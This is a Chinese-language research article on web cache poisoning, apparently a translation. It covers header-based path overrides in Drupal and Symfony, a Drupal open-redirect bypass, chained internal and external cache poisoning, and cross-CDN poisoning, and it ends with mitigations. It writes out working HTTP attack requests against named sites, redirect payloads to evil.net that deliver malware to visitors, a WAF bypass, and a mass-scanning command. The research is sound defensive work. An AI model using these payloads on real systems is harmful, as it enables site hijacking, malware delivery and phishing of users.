导语:网页缓存投毒长期以来一直是一个难以被捕捉的漏洞,甚至可以说,它仅是一种理论上的威胁,主要用于吓唬开发人员乖乖修补任何人都无法实际利用的所谓漏洞。
接着前两篇文章(1,2),今天我们接着介绍剩余的投毒案例和对应的缓解措施。
本地路由投毒(Local Route Poisoning)
到目前为止,你已经看到基于cookie的语言劫持,以及使用各种标头覆盖主机的方法。在本次的研究中,我还发现了一些标头使用了奇怪的非标准标头的变体,例如'translate','bucket'和'path_info',这让我怀疑我是否遗漏了许多其他标头。所以我的下一个目标就是,通过下载和搜索GitHub上20000个顶级PHP项目的标题名,来扩展标题词表。
以下两段代码显示了覆盖请求路径的header X-Original-URL和X-Rewrite-URL,首先我注意到它们会影响运行Drupal的目标,并且通过分析Drupal的代码,我发现对这个标头文件的支持来自流行的PHP框架Symfony,而它又是从Zend获取的代码。其结果就是,大量的PHP应用程序无意中支持这些标头文件。所以我除了可以尝试使用这些标头进行缓存投毒外,还可以利用它们绕过WAF和安全规则。
GET /admin HTTP/1.1 Host: unity.com HTTP/1.1 403 Forbidden ... Access is denied
GET /anything HTTP/1.1 Host: unity.com X-Original-URL: /admin HTTP/1.1 200 OK ... Please log in
如果应用程序使用缓存,则可以滥用这些标头以将其混淆为提供不正确的页面。例如,下面请求的缓存键为 /education?x=y,但却是从/gambling?x=y检索出的内容。
最终的结果是,在发送了这个请求之后,任何试图访问Unity for Education页面的人都会大吃一惊。
内部缓存投毒(Internal Cache Poisoning)
Drupal通常与Varnish等第三方缓存一起使用,但它也包含默认启用的内部缓存。此缓存知道X-Original-URL标头并将其包含在其缓存键中,但其中还包括此标头中的查询字符串。
虽然前面所讲的投毒攻击方法中,我讲到过替换路径的方法,但在进行内部缓存投毒时,我却要覆盖原来的查询字符串。
GET /search/node?keys=kittens HTTP/1.1 HTTP/1.1 200 OK … Search results for 'snuff'
Drupal的开放式重定向(Drupal Open Redirect)
在阅读Drupal的URL覆盖代码时,我注意到一个极其危险的功能。在所有重定向响应中,你可以使用'destination'查询参数覆盖重定向目标, 虽然Drupal会尝试进行一些URL解析以确保它不会重定向到外部域,但这很容易被绕过。
GET //?destination=https://evil.net\@unity.com/ HTTP/1.1 Host: unity.com HTTP/1.1 302 Found Location: https://evil.net\@unity.com/
你可以在Drupal的路径中看到了双斜杠“//” 这意味着它试图发出重定向的命令,不过由于随后目标参数开始起作用,所以Drupal认为目标URL是在告诉用户可以使用用户名 'evil.net\' 访问unity.com,但实际上,网页浏览器会自动将\转换为/,让用户登录evil.net/@unity.com。
持续重定向劫持
我可以将参数覆盖的投毒方法与开放式重定向方法结合起来,来达到持久劫持任何重定向的目的。 Pinterest商业网站上的某些页面恰好通过重定向导入JavaScript,以下的请求中,蓝色表示发生投毒的缓存条目,参数用橙色显示。
GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1 Host: business.pinterest.com X-Original-URL: /foo.js?v=1
这样, JavaScript导入的目的地就被劫持了,我就可以完全控制business.pinterest.com上的几个应该是静态的页面。
GET /foo.js?v=1 HTTP/1.1 HTTP/1.1 302 Found Location: https://evil.net\@unity.com/
内嵌式缓存投毒
不过并不是所有Drupal网页都像上面所讲的那样活跃,也不会通过重定向导入任何重要的资源。幸运的是,如果网页使用外部缓存(就像几乎所有高流量Drupa网页一样),我就可以通过内部缓存来对外部缓存进行投毒,并在此过程中将任何响应转换为重定向。所以,该投毒过程,分为两阶段。首先,我会使用恶意重定向,来对内部缓存投毒以替换/ redir。
GET /?destination=https://evil.net\@store.unity.com/ HTTP/1.1 Host: store.unity.com X-Original-URL: /redir
接下来,使用上一步被替换的/redir,来对外部缓存投毒以替换/download?v=1。
GET /download?v=1 HTTP/1.1 Host: store.unity.com X-Original-URL: /redir
最后,只需在unity.com上点击“下载安装程序”,就会从evil.net上下载一些恶意软件。此技术还可用于其他攻击,包括将欺骗性条目插入RSS feeds,将登录页面替换为钓鱼页面,并通过动态脚本导入存储XSS。
这个视频是关于如何对Drupal安装库进行投毒的,感兴趣的可以看一下。
不过,该漏洞目前已经被禁用。
跨云端投毒(Cross-Cloud Poisoning)
不过由于访问的复杂性越来越高,攻击者可能需要租用多个VPS才能对所有CloudFront的缓存进行投毒。于是,我试着探讨是否可以在不依赖VPS的情况下进行跨区域攻击。
事实证明,CloudFront内含一个有用的缓存地图,它们的IP地址可以很容易地通过免费的在线服务识别,这些服务可以从不同的地理位置发出DNS查询,利用curl/Burp的主机名覆盖特性,你可以从一个特定的位置随意发起投毒攻击。
由于Cloudflare拥有更多的区域缓存,我决定也查看一下它们。由于 Cloudflare在线发布了所有IP地址列表,因此我编写了一个快速查找脚本,这样就可以通过请求waf.party/cgn-cgi/trace找到每个IP并记录下我进行的缓存。
curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80| zgrab --port 80 --data traceReq | fgrep visit_scheme | jq -c '[.ip , .data.read]' cf80scheme | sed -E 's/\["([0-9.]*)".*colo=([A-Z]+).*/\1 \2/' | awk -F " " '!x[$2]++'
这表明,当针对位于爱尔兰的waf.party时,我可以从曼彻斯特找到以下缓存。
104.28.19.112 LHR 172.64.13.163 EWR 198.41.212.78 AMS 172.64.47.124 DME 172.64.32.99 SIN 108.162.253.199 MSP 172.64.9.230 IAD 198.41.238.27 AKL 162.158.145.197 YVR
缓解措施
针对缓存投毒的最佳防御策略,就是禁用缓存。对于一些网页来说,这显然是不切实际的建议,但我怀疑很多网站开始使用Cloudflare等服务进行DDoS保护或简易SSL服务,而这很容易受到缓存投毒的影响,因为缓存是默认启用的。
如果你对“静态”的定义足够谨慎,那么将缓存限制到纯静态响应也是有效的防御策略。
同样,避免从标头文件和cookie中获取输入是防止缓存投毒的有效方法,但该策略的缺点是,用户很难知道其他层和框架是否在偷偷支持额外的标头文件。因此,我建议使用Param Miner审核应用程序的每个页面以清除无键输入的风险。
一旦确定了应用程序中的无键输入,理想的解决方案就是彻底禁用它们。如果做不到这一点,你可以直接删除缓存层的输入,或将它们添加到缓存键中。某些缓存允许用户使用不同的标头来进行无键输入,而其他缓存则允许你自定义缓存键,但目前这个操作仅限企业级用户。
所以,无论你的应用程序是否具有缓存,你的一些客户端可能在它们的末端都有一个缓存,因此你不应忽略HTTP标头中的XSS等客户端漏洞。
总结
因此,网页缓存投毒绝非仅停留在理论上,应用程序的普及和服务器栈正在将其变为现实。我们已经看到,即使是众所周知的框架也可以隐藏危险的攻击属性。这也从侧面而证实,某些开源的且拥有数百万用户的应用,其源代码理应就应该被细细地检查。我们也看到了在网页里放置的缓存是如何将其安全等级从完全安全变为极度脆弱的,随着网站越来越依赖于第三方系统,其安全状况越来越难以单独进行充分评估